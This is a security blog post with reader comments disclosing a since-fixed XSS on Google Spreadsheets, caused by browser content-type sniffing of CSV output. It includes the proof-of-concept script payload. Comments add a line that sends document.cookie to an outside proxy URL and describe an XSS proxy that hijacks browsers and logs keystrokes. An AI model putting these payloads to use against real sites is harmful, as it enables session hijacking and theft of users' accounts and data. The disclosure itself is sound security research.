By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.
So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…
This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. The paper can be found here. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…
In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.
I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “<HTML><body><script>alert(document.cookie)</script></body></HTML>”
I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.
When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.
To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.
I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…
Very interesting (and scary) stuff, and I'll read the article by Blake Frantz immediately. I have one suggestion that could have made this article even better for the curios, but lazy, of us - a description of the Google defense against the attack. I'll of course go and test it myself now, but not everybody will.
ReplyDeleteThat's surprising since they fixed the issue on Gmail (by sending files as attachments), either the Gmail issue is a fluke or they don't communicate security info between teams, which isn't good...
ReplyDeleteInteresting. When I was talking with .mario some time ago about alerts I saw in solutions for XSS in eXceSS (http://h4k.in/kishor/xssinexcess/solutions.txt), he told me about this behaviour of IE.
ReplyDeleteAt that time I tried it against gmail attachments, but there they had padding of first 256 blanks in the attachment. I don't know why they forgot to do that in docs.
Anyway, it was a good find.
Great find! Ur famous now. Did Google pay u something for finding a big leak? They should...
ReplyDelete[...] last, and probably most interesting, is a Google XSS that Billy Rios blogged about. The XSS takes advantage of the fact that certain browsers (IE was used, but it was mentioned that [...]
ReplyDeleteSo you bailed on responsible disclosure because it was interesting?
ReplyDeleteYou don't have to just use lynx or other text based browser, it's only XSS. So, delete private data upon leaving every website if you don't already have an automatic option like stealth browsing. I do it out of habit, since you have to have the session cookies in your cache to get infiltrated just delete authentication cookies as soon as you are about to leave the websites where you use login credentials.
ReplyDelete[...] researcher Bill Rios reported Monday that a cross-site scripting (XSS) attack against Google Spreadsheet could have exposed all of [...]
ReplyDelete[...] مستندات قوقل في مدونة Bill Rios والذي قام بنشر [...]
ReplyDeleteAnyone could tell me a hyperlink to the paper written by Blake Frantz?
ReplyDeleteTop work ... they now know and have stopped it?
ReplyDelete@ Hans - Google used "padding" before the user controlled content. The padding prevents the browser from sniffing the content.
ReplyDelete@ Kuza55 - Agreed, content-disposition: attachment will stop this kind of attack cold in its tracks. Content-disposition will NOT help against flash crossdomain.xml or java applet attacks.
@Kishor - The padding is a pretty solid defense against content-type sniffing. I need to look into whether it prevents crossdomain.xml and applet based attacks (insecure content ownership).
@ Jim & Mike - I reported this issue to the Google Security Team and waited till they fixed it before talking about it on my blog. I've come across several XSS issues on major domains, but I usually don't blog about them, even after they've been fixed.
@ted - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf
[...] إلى أن الخطأ كان كبيرا و اكتشف من قبل Billy Rios . عن طريق الخطأ كان من الممكن لأي شخص أن يسرق حسابك في [...]
ReplyDelete[...] E-Mails verschicken und alle Dateien aus Google Docs einsehen können. Die Sicherheitslücke in Google Spreadsheet ermöglichte eine Cross-Site-Scripting-Attacke, indem ein Opfer zum Öffnen einer manipulierten [...]
ReplyDelete[...] researcher Bill Rios reported Monday that a cross-site scripting (XSS) attack against Google Spreadsheet could have exposed all of [...]
ReplyDeleteGood man!!!
ReplyDeleteI have submit this news in Home of my portal
http://www.googlebig.com/news.php?action=fullnews&id=321
Nice found.
ReplyDelete[...] Google mit krasser XSS Vulnerability - nur für die richtig Bösen unter euch [...]
ReplyDeleteAnd how could you exploit this XSS?
ReplyDeleteWhen the user clicks your link he just gets that alert...
Is it even possible to steal cookie this way?
We reported on this in 2007 without disclosing details* and also alerted Google security -- do you know when they fixed this?
ReplyDelete* http://blogoscoped.com/archive/2007-09-28-n28.html
@ Philipp - Not sure on the exact date, I orginally showed the Google Security team the Proof of Concept on 31 March 2008 and it was fixed by the time I had my first beer with members of the GST at RSA... (aka BEFORE I wrote about it in my blog)
ReplyDeleteDo you mean something like:
ReplyDeletedocument.location='http://www.xs-sniper.com.com/proxy.php?cookie='+document.cookie
?
@ Laine - Why just steal the cookies when I can hijack the whole browser (and then steal the cookies)?
ReplyDelete<script src = "path-to-xssniper"></script> is the better way to go...
if you're confused, check out Anton Rager Shmoocon 2005 talk on XSS-Proxy. I've created my own XSS proxy (called XS-Sniper, which some people have seen at various security conferences), which is based off of Anton's XSS-Proxy
http://xss-proxy.sourceforge.net/shmoocon-XSS-Proxy.ppt
And NO.. I won't give you XS-Sniper.... and those that already have a copy probably won't give it to you either :p
The whole browser? Like a telnet session with DOM?
ReplyDelete@ Laine - There are a lot of sweet things you can do. My favorite piece of functionality I built into XS-Sniper is SniperScope, which basically steals the HTML off of the victims browser and ferries it back to the XSS Proxy. It basically allows me to "shoulder surf" the XSSd victim. Keylogging is pretty sweet to, especially when XS-Sniper automatically decodes the keycodes as they come in. We actually used these two features on a pen-test (back in my consulting days) with great success...
ReplyDeleteThe proxy follows the victim to each page (in the same domain), so if they decide to navigate elsewhere, I don't have to worry about losing my control channel :)
[...] the content-type returned by spreadsheets.google.com and a caching flaw on the part of Google. Here’s some details from Billy’s blog: I was able to pull off a full blown XSS against the google.com domain. For those of you who [...]
ReplyDelete[...] has now plugged the vulnerability, discovered by security researcher Billy Rios. In a blog posting, Rios explains a caching flaw by Google, alongside problems in how browsers handle content-type [...]
ReplyDeleteHoly smokes, xssniper! It got me all excited. I dreamed about this night and I want to be as skillful as you are.
ReplyDeleteHow does the following happen?
Do all the urls get rewritten in some smart manner?
@ Laine - Actually no, the call to the "script src" is actually a call to a dynamic javascript generated by the XSS-Proxy, which creates three iframes. One iframe for the victim to see and navigate on, the other two are invisible and act as a control channel and payload passing mechanism. No URL rewrites are necessary.
ReplyDeleteAmazing. One more question, does this method hijack the whole browser, or just that domain?
ReplyDelete[...] Devido à forma como o Google estrutura seus processos de autenticação, um único ataque XSS pode oferecer acesso a todos os serviços e documentos da empresa, diz Rios. “Só com este XSS, posso fazer tudo que quiser no Google como se fosse você”, explicou o pesquisador em um post. [...]
ReplyDelete[...] Devido à forma como o Google estrutura seus processos de autenticação, um único ataque XSS pode oferecer acesso a todos os serviços e documentos da empresa, diz Rios. “Só com este XSS, posso fazer tudo que quiser no Google como se fosse você”, explicou o pesquisador em um post. [...]
ReplyDelete@ Laine - Getting that first XSS to execute it in the browser is the toughest, once that XSS has executed, you're not necessarily tied to that domain anymore. The "Pope" and I spoke about this at Blackhat Europe last year...
ReplyDeleteKicking Down the Cross Domain Door:
http://www.blackhat.com/presentations/bh-europe-07/Dube-Rios/Whitepaper/bh-eu-07-rios-WP.pdf
[...] en Google Apps. El agujero de seguridad fue revelado por el experto en seguridad informática Billy Rios la [...]
ReplyDeleteThis is a good example why "the online office" is not an alternative to current office software. It is just not safe.
ReplyDelete[...] Après les menus, les aperçus, les champs de recherche, la bourse, les calculs, les citations, Google vous fait aussi les whois. Tapez “whois domaine.com” et ça marche (plutôt mal d’ailleurs). Intéressant de voir que Google veut, de plus en plus, remplacer les sites et afficher le contenu [Via SearchEngineLand] [...]
ReplyDelete[...] erst kürzlich hat Billy (BK) Rios eine Sicherheitslücke bei Google Spreadsheets entdeckt, durch die er sich in einen beliebigen Account einloggen konnte! Wenn man mal an Gmail [...]
ReplyDelete[...] several past vulnerabilities: ownership of content issues, Google Docs theft, a cross-domain hole, Google XSS, and a Google Picasa protocol handler issue leading to the theft of user images. He and fellow [...]
ReplyDeleteThanks for sharing some of your knowledge !!!
ReplyDeleteI find one xss too. and its on my page. www j2menedir com
ReplyDeleteI find one xss look in http://www.j2menedir.com/google-xss.html
ReplyDelete[...] http://xs-sniper.com/blog/2008/04/14/google-xss/ Permalink Comments (0) Apr 11, [...]
ReplyDelete[...] » Posting in Rios Blog [...]
ReplyDelete